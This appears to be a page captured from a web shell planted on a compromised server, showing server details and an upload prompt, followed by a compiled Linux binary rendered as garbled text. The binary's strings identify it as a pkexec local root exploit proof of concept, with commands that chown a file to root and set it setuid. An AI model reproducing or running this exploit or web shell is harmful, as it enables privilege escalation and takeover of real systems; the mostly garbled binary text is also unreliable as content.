|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ : @ 8
@ @ @ @ 8 8 Y Y , < < ( 0 , < < 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd 4 4 Qtd Rtd , < < /lib64/ld-linux-x86-64.so.2 GNU GNU DJݹ47,a2J+U( GNU em 7 ` " Y l r S ~ 4 2 ) I C w e T " __cxa_finalize read write usleep getpid realpath stat __libc_start_main tcgetattr srand memset puts strstr close pipe setuid execve tcsetattr geteuid snprintf fork dup2 setgid poll perror exit __stack_chk_fail time libc.so.6 GLIBC_2.3 GLIBC_2.33 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ii
ui
< < @ @ @ ? ? ? ? ? ? ? ? ? ? (? 0? 8?
@? H? P?
X? `? h? p? x? ? ? ? ? ? ? ? ? ? ? ? HH/ HtH 5. %. h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A %
. D %- D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %}, D %u, D %m, D %e, D %], D %U, D %M, D %E, D %=, D %5, D 1I^HHPTE11H= , f. H=9, H2, H9tH+ Ht H= , H5, H)HH?HHHtH+ Htf D =+ u+UH=+ Ht H=+ yd+ ] w UHH H $ H H $ H lH`HXdH%( HE1H. HH. HH0 HH* HHHHDž H
HHDž Džx Dž Dž| Dž HHƸ HHHHHƸ @ HHHH`H HHH H?HЉHHƿ
HHHIHH
HǸ $udH HPHDžX HP HH H%H HH H=HHtH H[aDžx ! m HHk HHT ' H
HΉ,H HΉHHXHHHH H = 3 ) H HΉ H
HΉg|ЉHHXHHHH HS YH H: @H H7HHHHf@@ H HyHj H H@@ H HH HΉHH HHHtC| HcHiMbH )ʉi )Љ
| HPHHHw l p h% tsHHHDž Dž HH¾ hHH HHH HK QHH¾ xx t
Dž HUdH+%( t HH /usr/bin/chfn /usr/bin/pkexec /bin/sh -c /bin/chown root:root %s; /bin/chmod 4755 %s execve shell pkexec local root exploit by xi4oyu , thx to dm pipe execve pkexec execve setuid pipe3 poll does not match execve self ;0 ,d L zR x X& D $ 4 FJ w ?:*3$" \ X t P EC
@
L < < o
] > o o o o N o < 0 @ P ` p 0 @ P ` p @ GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 3 @ I @ U < | < ! < >
, @ & 7 I \ @ c L i * @ 7 F V @ c v @ 0 & @ @ , F Y " t z Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable puts@GLIBC_2.2.5 write@GLIBC_2.2.5 getpid@GLIBC_2.2.5 _edata _fini __stack_chk_fail@GLIBC_2.4 dup2@GLIBC_2.2.5 snprintf@GLIBC_2.2.5 memset@GLIBC_2.2.5 geteuid@GLIBC_2.2.5 close@GLIBC_2.2.5 pipe@GLIBC_2.2.5 read@GLIBC_2.2.5 srand@GLIBC_2.2.5 execve@GLIBC_2.2.5 __data_start __gmon_start__ stat@GLIBC_2.33 __dso_handle realpath@GLIBC_2.3 _IO_stdin_used time@GLIBC_2.2.5 _end __bss_start main poll@GLIBC_2.2.5 setgid@GLIBC_2.2.5 tcgetattr@GLIBC_2.2.5 tcsetattr@GLIBC_2.2.5 perror@GLIBC_2.2.5 exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuid@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 _init fork@GLIBC_2.2.5 strstr@GLIBC_2.2.5 usleep@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o $ a i ] q o N N B ~ o ` B L L
4 (! (! < , < , < , > . @ 0 @ 0 0 0 + @0 6 9